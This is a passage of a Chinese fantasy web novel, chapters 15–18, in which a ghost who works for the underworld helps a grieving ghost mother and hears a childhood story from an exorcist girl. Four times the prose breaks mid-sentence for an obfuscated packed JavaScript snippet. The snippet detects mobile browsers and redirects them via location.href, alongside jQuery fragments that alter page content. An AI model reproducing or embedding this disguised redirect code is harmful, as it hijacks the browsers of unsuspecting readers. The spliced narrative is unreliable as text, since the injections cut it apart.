刘晓希却摇摇头,松开了她的手。 白心感到手里一空,抬头一看,刘晓希竟然飘了起来。 她身上的蓝光已经淡了许多,白心看到刘晓希飘在水面上方,朝她伸出了手:“我背你。” 啊?白心说道:“这不好吧。” 然而她还是伸出了手。刘晓希牵住她的手,往上猛地一拉,白心就感觉到自己飞了起来。 是的,刘晓希是个潜在S级灵魂,飞行这种小事肯定不在话下。 高情商的话不会说,基本礼仪她还是有的,白心趴在刘晓希的背上,说道:“谢谢。” “不客气,”刘晓希回答,“你太轻了。” 看来地府跟人间不一样,白心看着身下这个比她高也比她强的潜在S级灵魂,心想有潜力就真是有潜力,不像她老板年年跟她说你有潜力却总是不提拔她。 刘晓希的身高接近一米七,此时还飘在空中,白心抬头一看,天花板近在眼前。 这就是高人吗。她想,真是羡慕啊。 她要是有这么高,也不至于雨才到她的小腿肚就觉得自己快要被淹死了。 停止哭泣后整栋医院大楼都安静了下来,刘晓希背着白心慢慢往下飘,问道:“你为什么白天可以出去呢?” 白心的双手搭在刘晓希的肩膀上,边感受着这种奇妙的被鬼背着飞的感觉边回答:“我死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16741809|189383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,但是不能进地府。” “为什么?”刘晓希又问道,“你也有执念吗?” “不是,”白心回答,“我功德太低了,暂时投不了胎,要在人间待一段时间。” 刘晓希不解:“功德太低?” “嗯,”白心叹了口气,“除非我想自己去地狱受刑,不然的话就要在人间一直替地府打工,直到我能投胎。” 听完白心的话,刘晓希更加疑惑,甚至气愤起来:“你怎么可以下地狱呢?” 要说下地狱,她觉得那些看见她就跑的男人更适合下地狱。 “谁知道,”白心笑了一下,“或许我命不好吧。” “不会的,”刘晓希又说道,“你肯定能去当个小神仙。” 白心看着她的眼睛跟她说可以帮她去看念念的时候,她是真的一瞬间觉得是不是神仙下凡来拯救她来了。 只是下一秒她又否定了自己,毕竟哪有这么狼狈的神仙。 “别别别,”白心赶紧说,“我能投胎当只猫当只狗就不错了。” 虽然之前她立下壮志想要进入天道,但黑白无常的冷水一浇,肾上腺素一退,她就觉得自己想去天道的想法确实是有点不知天高地厚了。 不入地狱就不错了,重新投胎到上三道最差的人道当人都困难。 “哈哈哈,”刘晓希被白心的话逗笑了,“如果我投胎当了人,就收养你当我的宠物。” “好啊。”白心也笑了,刘晓希除了爱哭,其他地方看起来都没什么毛病。 “对了,”她又问道,“为什么我在三楼的时候没看到你,上到六楼也没找到你呢?” 天知道她打开每一扇门都没看见刘晓希的时候有多绝望。 “我在你头顶的天花板上。”刘晓希回答。 白心:? 刘晓希继续说:“你一进来我就发现你了,下了点雨想吓唬你,没想到你不怕。” 白心想到自己推开一楼大门的时候,天花板确实开始滴水。 “后面你到二楼的时候,我停了一下,想看你到底想干什么。” 是了,在二楼的时候哭声就停止了,白心想起自己扭过头去看一楼大厅的情况,生怕回过头就被突脸杀。 “后来你去了三楼,我就知道你也是来带我回去的,”刘晓希慢慢说,语气淡淡的,“所以我又开始下雨,想把你吓回去。” 她叹了口气:“没想到你能找到六楼的新生儿病区,我怕你发现,就一直贴在天花板上。” 白心嘴角微微抽搐,说道:“所以刚刚你一直都在我头上?” 还好她左看右看前看后看,就是没往上看,要是她看到天花板上飘着个长发女鬼,她不确定自己会不会当场杀青。 “对啊,”刘晓希回答道,“我靠这招吓退了好多人呢。” 白心趴在她的背上,突然打了个哆嗦,女人心,海底针啊! 太可怕了,她想,还好她没有过分好奇,不然就好奇害死猫了。 她们很快飘到了三楼,刘晓希把白心放下来,三楼的水明显比六楼少很多,走起来方便了不少。 白心的双脚踏在地上,看见地板和周围的那股蓝色比刚刚又淡了几个度。 刘晓希推开自己房间的门,转过身,回头对着白心说道:“进来吧,我还有一些事要告诉你。” 15.“哭泣”的医院(八) 白心跟着刘晓希进入病房,刘晓希的床靠里,她坐在自己的床上,朝站在门边的白心招手:“来坐吧。” 白心看着干干净净的刘晓希和干干净净的床,低头一看自己这像刚从河里捞出来的狼狈模样,抬起头尴尬一笑:“我坐这边就好。” 做鬼也要有距离和分寸感。 白心走向那张空的病床,沿着床边坐下,和刘晓希面对面。 一坐下,她就迫不及待把头盔摘了下来,头盔像红酒塞子“啵”地一声被拔下来,白心像在太上老君炼丹炉里闷了几百年突然呼吸到新鲜空气一样猛地开始吸气呼气。 刘晓希看着大口呼吸、头比身体还湿的白心,歉意突然袭来:“对不起,都怪我。” 白心右手抱着头盔,看着一脸愧疚的刘晓希,突然笑了:“是啊,所以以后别哭了。” 刘晓希也不好意思笑了,点了点头。 她站起来,走到白心跟前,突然抬起手摸到白心的头发。 白心被吓一跳,身体不自觉旁边一躲:“干嘛?” 刘晓希感觉到白心的闪躲,赶紧把手放下来,说道:“对不起,我看你头发有点乱,想帮你扎头发来着。” 白心这才看到刘晓希的手腕处有一根细细的黑色皮筋。 “谢谢,”白心的身体还是歪着,她笑着说,“我自己来。” 刘晓希点点头,把皮筋递给白心,转身重新回到自己的床上坐好。 白心把头盔放在旁边,两只手熟练地在头上扒拉几下,很快就梳好了一个马尾。 清爽多了。头发一扎上,她就觉得舒服了很多,果然细心这块还得是女人。 “好了,”白心把手放下来,看着看她扎头发的刘晓希,终于开始说正事,“你刚刚说,要告诉我什么?” 听到白心的问话,刘晓希咬着嘴唇,犹豫了两分钟,说道:“其实,在你来之前,还有个女孩来过。” 白心皱眉:“女孩?” “嗯,”刘晓希点头,“看起来比你小一点,十八九岁的样子。” 白心不解:“然后呢?” “她让我……”刘晓希看着白心,慢慢说道,“手下留情,不要伤害你。” 白心:? 她继续说:“她还让我不要告诉你她来过。” 白心的脑子突然混乱,什么意思?一个女孩?不要伤害她? 十八九岁的女孩,不会是……她在混乱中锚定了一个人,赶紧问道:“是不是一个很高的、用红绳绑着马尾的、身上背个斜挎包的女孩?” 刘晓希眼睛突然睁大,不断点头:“对对,就是她,在你来之前一个小时左右来的。” 一个小时?白心掐指一算,她一点半到的,那就是十二点半,她刚接到任务那会儿。 “而且……”刘晓希支支吾吾。 “而且什么?” “而且她笑眯眯的,”刘晓希的脸上突然流露出一丝害怕的神情,“说我不这样的话就立马把我抓进地府。” 白心:? 钟槐这是抽哪门子风?白心的脑子乱得像浆糊,她们很熟吗? 她们才刚刚加上好友啊! 刘晓希继续说:“我没听她的,你来了之后我就失去理智了,想着解决你,没想到你说可以帮我。” “因为我想着,反正也见不到念念,被她抓走又怎样,把你解决说不定还能见到其他可以在白天出没的那些人。” 她的表情又流露出一丝愧疚:“对不起。” 白心的眉毛快要拧成麻花,她突然想到她和钟槐的初次见面,这人直接就不请自来要加她好友,她又想到刚才在马路上遇到恶鬼,钟槐也是来得不快不慢刚刚好。 而且……她看着旁边的那个白色头盔,她脑袋没进水的最大功臣就是它。 她故意的?! 她干嘛这样?白心不理解,她一个本来要下地狱的人,跟天师的后人能有什么关系? 难道她曾经被她祖宗抓过? 刘晓希突然又说道:“你别跟她说你知道了,我怕她……” 白心点点头,神情严肃:“你放心,我不会告诉她的。” 反正刘晓希也马上要进地府投胎了,执念已清,也轮不到钟槐插手。比起这些,她更关心钟槐这样做的动机。 没理由啊,她想,她一个捉鬼师,不忙着去捉恶鬼,倒是管起她这临时工的事了! 刘晓希又开口:“念念……” 对哦,白心的思绪立马拉回,她挠了挠头,刚才也是太沉浸了,差点忘了正事。 她甩甩头,暂且把钟槐甩到一边,问道:“念念住在哪?” “幸福小区,”刘晓希立马回答,眼里充满了希冀的光芒,“13栋6楼602。” “她爸爸在外面打工,爷爷奶奶都在老家,她应该是被外婆带着,我死的时候我妈跟我说一定会照顾好她,”一说起念念刘晓希就滔滔不绝,“麻烦你多拍点照片,麻烦你了。” 白心点点头,又问道:“可是,我要以什么身份去呢?” 地址是知道了,基本情况也知道了,就是一个陌生人贸然前去给小孩拍照片,无论谁都会觉得像人贩子吧。 “这个好说,”刘晓希的手指朝病床的床头柜一指,“那上面有一张照片,是我之前和朋友拍的。” 白心朝床头柜上看去,确实有一张照片放在上面,落了很厚的灰尘,完全看不清内容。 “她是我的发小,叫李婧,是蓝天幼儿园的一名老师,我们约好念念长大了就去她那里上幼儿园,”刘晓希慢慢说着,语气温柔,“她人很好,我俩经常互相串门吃饭,我妈也认识她。” “你拿着我们的合照过去找她,说你是我之前约好的给念念拍照的摄影师就可以了,她会带你去我家的。” 白心站起来,走到床头柜前,伸手想拿起那张照片,手指却怎么也触碰不到它。刘晓希轻轻笑起来:“我们是鬼,怎么摸得到人的东西呢?” 不对啊,白心想,她明明就能摸到自己啊,难道又出BUG了? 刘晓希又说:“如果能摸到,我也不会让它上面落这么多灰了。” “我走了,她一定很伤心,我们还有很多约定的事没有完成,”她的眼眸垂下去,语气淡淡的却充满遗憾,“是我欠她的,只能等下辈子再还了。” 白心转身,看着浑身泛着淡淡蓝光的刘晓希,轻声说道:“等我回到自己的身体里,就过来拿照片。” 刘晓希抬起头,露出一个灿烂的笑容:“谢谢你,白心。” 白心抬起手腕,看到时间已经到了五点。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16750609|189383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>还有一个小时。 “我要走了,”她说,“六点我就要回到身体里了。” 刘晓希猛地站起来,认真说道:“我送你。” 白心点点头,“走吧。” 白心抱着头盔,率先走了出去,外面不知什么时候下起了瓢泼大雨,天空仍然漆黑一片,没有要亮的意思。 刘晓希跟在后面,说道:“下雨了,你能走吗?” 白心嘴角一勾,露出一抹笑:“开玩笑,你的眼泪雨我都淋过了,普通的雨算什么。” 再说了,离开了医院也就离开了刘晓希的影响范围,只要这个爱哭鬼不再哭,她一滴雨都不会淋到。 刘晓希被她说得不好意思,又道歉:“对不起。” “好了,”白心停下脚步,等着刘晓希跟上来,“不要老是道歉,你并不欠谁的。” 她只是一个充满遗憾和执念的母亲而已。白心侧过身,看着已经跟上和她并排的刘晓希,说道:“你的人生也刚开始,谁又跟你说过对不起呢?” 刘晓希愣住,几秒后突然理解了白心的话,眼睛不禁又开始发酸:“是我命不好……” 老天爷啊!白心无语了,她把头盔挂在手臂上,双手攀上刘晓希的肩膀,把刘晓希掰正,和她面对面。 她看着刘晓希流泪的双眼,认真说道:“你不只是念念的妈妈,你更是你自己,答应我,下辈子不要哭了,要有一个开心的人生。” 天地不仁,以万物为刍狗。白心想起白无常平淡无波的眼神和他的这句话。老天是公平的,万事万物都是平等的。 真的是这样吗?白心看着面前哭得一塌糊涂的女人,心想她不这么认为。 好人没有好报,善良的人早死,连一位母亲想要见到孩子都成了奢望。老天爷动动手指,就能碾死一只人间的蚂蚁,她想,谁又能保证这蚂蚁不是我和你。 她不信公平,她只信自己。 刘晓希抬起头来,看见白心又被她的眼泪淋湿,赶紧努力止住,双手在脸上擦来擦去:“好了,我不哭了。” 白心放下双手,转身朝前方走去:“明天晚上我会过来,看完照片后你就要跟我走。” 刘晓希跟在后面,边擦眼泪边点头回应:“嗯。” 两人很快下到了一楼,白心站在住院部门口,回头看见刘晓希站在大门处,眼神不再悲伤,静静地等待着她离去。 “再见。” 刘晓希挥了挥手,努力微笑,白心看到她周围的蓝色已经很淡了。 白心点点头,也摆摆手,转身朝雨里走去。 雨穿过了她的身体,白心抬起手来,看见这雨分量很重,每一滴都像一粒豌豆穿透了她浅白色透明的身体,重重地砸在了地上。 她可以接受倾盆大雨的流淌,却承受不了一位母亲眼泪的重量。 回过头,刘晓希还站在门口,孤独地目送她。她身后的大楼的颜色跟她一样很浅很浅,也不再哭泣,像一栋最普通的危楼。 她扭过头,一脚跨出了残旧损坏的伸缩大门,踏出了这片不再悲伤的土地。 “白心。” 耳旁突然传来声音,白心抬头,看见头顶出现了一把伞。 她转过头,看见钟槐举着伞,站在身旁,微笑地看着她: “你好啊。” 16.“哭泣”的医院(九) 白心看着这张熟悉得不能再熟悉的脸,一时不知道说什么,嘴巴打结:“你……” 她答应了刘晓希,不能告诉钟槐她知道她来过。 钟槐却仍然微笑着,那双大眼睛里充满了天真的笑意:“我知道你想说什么。” “她都告诉你了,”钟槐笑着说,“对不对?” 白心看着她皮笑肉不笑的脸,不自觉咽了口口水,心想刘晓希的害怕果然不是装的,钟槐笑起来比不笑还可怕。 “走吧,”钟槐却径直朝前走去,“我们边走边说。” 天空像破了窟窿一样漏雨,钟槐举着伞向前走着,把白心甩在了身后,白心重新回到雨下,站在原地一动不动。 钟槐侧过身,扭头看着白心:“怎么了?” “你是谁?” 白心看着钟槐的眼睛,问道。 脑回路再慢的人也该发现不对劲了。诡异的初遇、巧合般的救援、刚好能挡雨的头盔、对刘晓希的威胁……白心看着面前不再微笑的女孩想,你究竟是谁。 “你先过来,”钟槐却说,“雨很大。” 白心慢慢走上前去,重新回到钟槐的伞下,一高一矮隔着伞柄对视,白心说道:“我不需要打伞。” 钟槐突然笑了一下,“我需要啊。” 白心这才看到钟槐不再是刚才抓鬼火少年时的样子,不是灵魂出体泛着光芒的状态,而是不再发光、实打实地站在地上、人类的模样。 “你鬼捉完了?”白心问道。 不是早上六点才能回到自己身体里吗,她想,难道她和别人不一样? 钟槐摇摇头,转过身向前走:“鬼是永远捉不完的,每天都有人死去。” 白心也跟上她的脚步,在她的伞下和她并排:“那你……” “我只上三个小时班,”钟槐回答,“再多我不干。” 白心:…… 也是,关系户还不是想什么时候上下班就上下班,哪像他们天天都要按时打卡,迟到一分钟都要扣钱。 一人一鬼走在人行道上,昏暗的路灯只照出钟槐一个人的影子,白心边走边看着地上长长的人影,问道:“你怎么知道刘晓希都告诉我了?” “我不知道啊,”钟槐随意一答,语气轻快,“我猜的。” 白心:? 钟槐笑了:“说你老实还真是老实啊,随便一炸就炸出来了。” 白心想起她们在墓园相遇的时候,钟槐也说她跟没上过班似的被黑白无常一骗就骗去打工了。 她嘴角开始抽搐,心想这真是十九岁的小女孩吗?还是跟鬼打交道多了所以也什么鬼话都会说了? “我一直在外面等你,”钟槐又说,“当我看见雨停了的时候,我就知道你成功了。” “你果然很厉害。”钟槐轻轻说道。 停停停,白心的脑子又乱了,这段话信息量太大,她有点转不过弯。 她一直在外面等她?为什么?什么叫她很厉害,还果然?这语气怎么好像她很早就认识她了似的? 钟槐目视前方,雨伞的阴影打在她的脸上,看不清表情,她轻轻吸了一口气,像下了很大的决心一样说道:“你还记得钟榆吗?” 白心的大脑正在千丝万缕剪不断理还乱中,听到这个名字的一瞬间好像突然有只无形的手把她脑子里的那根线拉直了,思维不再混乱,而是一片空白。 钟榆?好熟悉的名字,是谁来着? 白心觉得这个名字十分耳熟,但她就是想不起来,她拼命在记忆库里搜刮,搜出的相关信息为零。 “她是我姐姐。”钟槐说。 雨越下越大了,钟槐的话几乎要淹没在雨声里,白心抬起头,看着伞下表情模糊的钟槐:“姐姐?” “嗯,”钟槐点点头,继续在雨里走着,“你还记得蓝天幼儿园吗?” 蓝天幼儿园?白心的脑子里突然“叮——”地一声,像有什么开关打开了。 这不就是她白天要去的地方吗? “你不记得了吗?”钟槐转过头,看着表情迷茫的白心,“你在那里上过学。” 哈?白心震惊了,她在蓝天幼儿园上过学?她怎么不记得? 不对,钟槐怎么知道她在那上过学? “你只上了一年,后面就转园了,去了隔壁的月亮幼儿园。”钟槐继续说。 “等等!”白心紧急叫停,“你怎么知道的?” 她想起来了,她确实读过两个幼儿园,不过都是长大后她妈告诉她的,她自己已经完全不记得了。 她连两天前中午吃了什么都不记得,更别说二十年前上的哪个幼儿园这种大脑才刚开始发育时候的事了。 “我姐姐也在蓝天幼儿园里上学,”钟槐看着白心的眼睛,“你们是同学。” 白心:? 千算万算,没算到故人竟然是小时候幼儿园的同班同学。 钟槐转过头,叹了口气:“你不记得也正常,听说你后来出了一场车祸。” 白心:? 怎么连她出车祸的事都知道? 她自己都要忘记了,五岁的时候,她在小区门口被突然冲出来的一辆汽车创翻在地,当时有三个人受伤:她、她楼上的高中生大哥哥、门口推着小车卖副食的老奶奶。 大哥哥当场被撞掉一条手臂、老奶奶没受太大的伤只是后背被玻璃碎片扎伤,而她被车头直接撞飞,脑袋摔在地上血流不止。 所以她的头上左边有一小块区域没有头发,这是那场车祸留下来的证据。没有这块疤,她几乎要完全忘记这段流血的往事。 “我姐姐是目击证人,”钟槐抬起脚跨过一小块水洼,“是她协助警方抓住了逃逸者。” 白心大惊,她完全不记得了。 她继续说:“那天我姐姐来找你玩,刚到你小区门口,就看见你出事了。” 原来是这样。她只记得自己躺在地上,目光所及之处全是她的血,还有一圈围观群众的双脚。谁把她抱起来的、谁跟她说话、谁送她就医等等经过已经完全从她的记忆里抹去了。 “你知道你为什么转园吗?”钟槐又问道。 不知道啊,她想,转学到是不稀奇,幼儿园转学她倒是第一次听说,而且还是她本人。 钟槐笑了一下:“因为你和一个男孩打架,差点把他的眼睛戳瞎。” 白心:? “中间的协商经过不清楚,最后的结果就是你转学了,”钟槐继续说,“那个男孩还在蓝天幼儿园。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16755569|189383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “我想,这可能是你们两方家长最能接受的结果了吧。” 钟槐停下脚步,白心朝前看去,斑马线对面是红灯。 她问:“所以……这和你姐姐有什么关系?” 钟槐微微一笑,缓缓说道:“那个男孩总是欺负我姐姐,是你帮她出气才戳伤了他。” 白心像被人虚空打了一耳光,恍然大悟:“所以,你才要帮我?” 红灯转绿,钟槐长腿一迈,率先走出去:“姐姐说,你是个很厉害,很勇敢的人。” 白心赶紧跟上她:“什么意思?” 钟槐在斑马线上飞速前进,边走边说:“我们家族的小孩,因为天生阴阳眼,能看见常人看不见的东西,所以普遍胆小。” “我姐姐也是,”她一个大跨步跨上了人行道,“小的时候,她经常因为能看见奇怪的东西而感到害怕,动不动就哭。” 白心边跟着钟槐,边使出浑身的力气在脑海里搜寻幼儿园的记忆,终于想起一些断断续续的模糊画面。 “她的座位前面坐了个男孩,看她胆子小又经常哭,就天天把鼻涕甩到她的作业本上,”钟槐继续说着,语气有点无奈,“实在是贱人一个。” 白心:“所以,我就挺身而出了?” 钟槐点点头:“你被调到我姐姐旁边,和她做同桌。” “刚开始的时候,你只是把她弄脏的作业本换成新的,或者训斥几句那个男孩,”钟槐越走越快,“没想到那个男孩越来越得寸进尺。” “你越是保护她,他就越是要欺负我姐姐,终于有一天趁你不在的时候,他撒了泡尿到我姐姐的杯子里。” 白心也加快脚步:“啊?这么贱啊?” 钟槐越走越快,速度几乎是残影了,她头也不回地边走边说:“等你回来,就看见我姐姐在座位上哭得一塌糊涂,桌面上还有不明黄色污渍。” “你一闻,就知道是尿,”她说,“当场就把那男孩打了。” “你很聪明,知道老师不会让你们接触利器,就把包书的那个硬夹子拆了下来,直接就往他眼睛里戳。” 白心跟在后面,这一波三折的故事听得她是心惊肉跳,还没等她开口,钟槐就又说道:“就是那一次,我姐姐学会了保护自己,你也因此转学了。” 钟槐终于停下了脚步,白心也在后面停下来,她抬头一看,已经到家了。 原来钟槐知道她住哪。 瓢泼大雨还在下着,瀑布一样从钟槐的伞边流下来,白心喘着气,看着钟槐一动不动的背影,问道:“那你姐姐呢?她还好吗?” 好累。白心这才反应过来,钟槐这大长腿快走起来比她跑步还快,她双手扶在膝盖上,弯着腰喘气,看见雨水一滴一滴砸向地面。 她想起来了,幼儿园的时候她总是因为调皮被老师罚站墙角,最后一次站墙角的时候有个女孩悄悄过来塞给她一块巧克力。 她舍不得吃,就一直捏着那块巧克力,巧克力在她手中融化,如同她的记忆,女孩的脸也融化,在她的回忆里模糊不清。 钟槐举着伞,慢慢转过身,轻轻说道: “她死了。” 白心心里一惊,抬起头,看见钟槐站在滂沱大雨里,泪流满面。 17.“哭泣”的医院(十) 睁眼,熟悉的白色天花板印入眼帘。 金色的阳光洒在天花板上,倒映出窗外斑驳的树影。白心转头看去,窗外天空一片晴朗。 她爬起来,穿好拖鞋走到窗边,看到楼下小区的地面还是湿润的,证明着昨天经过一场暴雨的洗礼。 头有点痛。白心顶着鸡窝般的头发,觉得太阳穴两边隐隐约约地疼,她抬起双手,闭上眼睛,食指和无名指按在太阳穴上慢慢揉动。 突然,一阵剧烈的疼痛袭来,从左边太阳穴直穿右边太阳穴,像一把刀直接捅穿了她的大脑。 钟槐。 暴雨下流泪的女孩在她的脑海里闪过,她猛地睁眼,看向她的左手,看见手环仍然安安稳稳待在手腕上。 点亮屏幕,里面却什么也没有。 “喂,”她试图呼叫手环,“你在吗?” 没有女孩子清脆甜美的声音回应。里面也没有“死了么”APP,这就是一个十分普通的手环,除了能看时间什么都干不了。 对哦,她想起来了,白无常说过手环晚上子时才会正式启动。 那钟槐怎么办?! 白心放下手臂,想起昨晚的情景。钟槐把她送到家之后就走了,没有继续和她交流,说到她姐姐死了后转身头也不回地走了,任凭她在身后怎么叫她都不回应。 钟榆。白心想起这个名字,钟槐的姐姐,她的幼儿园同桌,她曾经保护过的人。 耳熟,但就是想不起脸来。白心的头又是一阵剧痛,一旦试图挖掘远古记忆就是劈天厉地的痛,像有把无形的砍刀要把她的脑子劈开。 天人交战中,床上的手机突然疯狂震动,不知道谁打电话来了。 白心转身,又爬到床上,手指刚摸到手机,屏幕就突然熄灭,手机瞬间安静了下来。 没电了。 白心看着手里屏幕漆黑的板砖,想到自己的手机已经一天一夜没充电了。本来电池就老化得该退休了,却还是因为她的贫穷死死坚守,此时此刻终于撑不住,长时间的耗能后终于被掏空,直接关机了。 她的身体一歪,摸到床头柜上的充电线,熟练地一扯一插,手机就又退休返聘了。 白心躺在床上,举着双手捧着手机。等待开机的间隙,她突然想起昨晚刘晓希告诉她的地址。 幸福小区。 倒是不陌生,甚至可以说比较熟悉。初二的时候她在这个小区住过一段时间,是个很老的小区了。 准确地说,是在舅舅家住了一段时间。她妈忙着做生意,经常去外地进货,没空管她,就时不时把她放到舅舅家。 那时候舅舅的毛坯小洋房还没装修,一家三口只能继续挤在只有六十平米的老破小里。好巧不巧舅妈那边也有个亲戚来投宿,是个比她大三岁的高中生姐姐,没有多余的房间,她俩只能住同一间房,睡在同一张床上。 一米二的单人床实在太小,她俩头对着脚,交错着睡。明明每次下晚自习后都困得像狗,灯一关准备睡觉的时候,她却总是失眠。 她不知道为什么,心里总是有种隐隐约约的难过。十二三岁的年纪还不明白这叫敏感,身体的本能却先一步作出了反应。 姐姐不爱说话,表弟也不理她,舅舅舅妈忙着上班,她住在五个人的小房子里,竟然感觉到了孤独。 手里的手机突然震动,打断了她的回忆,她一个没拿稳,手机直接摔在了脸上。 滚烫的屏幕贴在脸上,她被烫得“嗷”了一声,一个翻身滚到了旁边。 拿起手机一看,罪魁祸首正是陈灵。 “喂?”陈灵的声音还是那么气血充足,她提高音量,“喂?怎么不说话?” “干嘛!”白心没好气道,“你不是在出差吗?” 正值周日,本该休息的大好时光,她俩一个在出差一个在打工,她床上的螨虫听了都该笑了,笑她俩命咋这么苦。 “是啊,”陈灵继续提高音量,“打开视频!” 白心听到电话那头十分嘈杂,心下了然,陈灵这个旅游狂魔肯定又趁着出差的机会跑哪逍遥去了。 果然,视频一打开,镜头里围了一堆人,还有几排花花绿绿的手表。 陈灵再次提高音量:“快选一个!” 陈灵是听不见,白心的耳朵却快聋了,她快速扫过那几排手表,迅速报数:“倒数第二排第三个!” 刚说完,陈灵就挂断了电话。 白心捏着手机,同时也捏了把汗。和陈灵做朋友就是这样,必须提高效率,少说废话,及时给出有效信息,不然陈灵这个急性子就会骂得你找不着北。 白心以前是个慢性子,在陈灵的铁血调教和唾沫洗礼之下已经好多了,无论是干活还是回应都快多了,起码不会再突然遭骂了。 看来真是去玩了。白心看着屏幕上六个未接电话,心想这个女人怎么永远这么精力充沛,活力十足。 想到精力充沛,她又想起钟槐。昨晚的徒步拉练差点没把她累死,现在一想,原来钟槐走那么快只是不想让她看到她哭了。 唉。她叹了口气,慢慢坐起来,走得那么快,连个联系方式也不留给她。 难道只能等晚上执行任务的时候才能联系她吗,白心想。 这样算起来,她和她姐姐钟榆也算是同龄人。她失去了姐姐,她正好没有妹妹,她不介意在二十五岁的时候突然多一个妹妹,只要钟槐不嫌弃她。 然而下一秒她又笑笑,都命不久矣了还认妹妹呢,真是痴人说梦。 白心跳下床,一鼓作气换好衣服,洗脸刷牙,随意扎了个马尾,揣上手机就出门了。 打开门,邻居家还是大门紧闭,门口的垃圾也不见了。 她皱了皱眉,想起昨晚邻居诡异的行为,身上又冒出了鸡皮疙瘩。她赶紧跑下楼,跑到大太阳底下,才觉得那股寒意渐渐消散。 她到底想干什么?白心边走边想,无冤无仇的,干嘛偷窥她? 很快,她就走到了小区门口的公交站,刚走到站台,身上刚消散的鸡皮疙瘩就卷土重来了。 邻居也在等车。 两人四目相对,谁也没说话。 女人坐在等车座椅上,面无表情,直直地盯着白心,白心也看着女人,一动也不敢动。 半晌,女人率先开口:“你好。” “您……”白心磕磕巴巴回应,“您好。” “我姓高,”女人仍然看着她,那双因为胶原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16759752|189383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蛋白流失而略显无神的眼睛一眨也不眨,“你姓什么?” “啊,”白心咽了口口水,乖乖回答,“我叫白心。” “白心,”女人点了点头,站起身来,“你可以叫我高姐。” 说完,直接从白心的面前走过,上了刚刚停稳的一辆公交。白心的目光随她转动,看到女人找了个座位坐下,没有再朝窗外的她看。 后面突然传来一阵喇叭声把她的目光打断,白心回头一看,138路公交车来了。 恰好就是去妇幼保健院的那一辆。 她只好转身往回走,也坐上公交,隔着两辆车的人群,她也看不见邻居了。 她坐在窗边,把窗户拉开,感受着夏天的热风吹在她的脸上。 到妇幼保健院一共十站,差不多二十来分钟的样子,足够她发呆了。 高姐,她想起女人刚才的自我介绍。她俩当邻居起码一年半了,这是她第一次知道她姓什么。 这也是她第一次真正看清她的脸。平时无论是出门还是下楼扔垃圾,两人也只是匆匆掠过,谁也没有正眼瞧过谁。 白心是出于社恐和基本礼貌,而高姐为什么不鸟她,她也无从得知。 或许也是不喜欢和人交流吧,她想,社恐也会老的。 转念一想不对,社恐会大半夜趴在别人门口偷窥别人的家吗?恐怖分子还差不多。 长得也是有点吓人,白心想起高姐的脸,她的左脸上有很长一道疤痕,而且好像增生了,红红的一道从左眼下方直到嘴角。 加上她不苟言笑的表情和冷漠的眼神,更显得她不好惹。白心想,是不是在道上混过? 思维乱飞中,公交又到了一站,白心看到前门上来一个人,十分眼熟。 “李婧?”嘴比脑子更快,她脱口而出。 这人不正是她马上要去拿的照片上的、刘晓希的发小吗?! 李婧刚扫完码,听到呼唤抬起头疑惑地寻找声音来源,车里人太多,她一时间没看到白心,只好继续向前走。 白心站了起来,把座位让给刚上来站在她旁边的老奶奶,在人群的缝隙里挤来挤去,挤到了扶着栏杆刚站稳的李婧身边。 她看着和她差不多个子的女人,又说了一遍:“李婧?” 女人立马回头,看到一个扎着马尾的陌生女孩站在她的身后,正歪着头虔诚地看着她。 “你是?”李婧疑惑问道。 “啊,”白心微微一笑,“我是晓希之前约好的摄影师。” 一切按计划进行。虽然步骤好像有点颠倒,但还是那句话,程序能运行就不要管BUG的存在。 听到刘晓希的名字,李婧的眼睛立马睁大,问道:“是给念念拍照的摄影师吗?” “对,”白心点头,以防万一她赶紧举证,“你们是不是有一张合照,背景是蓝天幼儿园,你工作的地方?” 还好昨晚看照片的时候稍微留心了一下,她硬是从那张落了几毫米厚灰尘的照片里看出了背景是蓝天幼儿园。 “是是,”李婧立马点头,已经完全信任了白心,“请问你有什么……” “我想让你陪我去一趟妇幼保健院。”白心看着李婧,认真说道。 18.“哭泣”的医院(十一) 两人在妇幼保健院站下车。 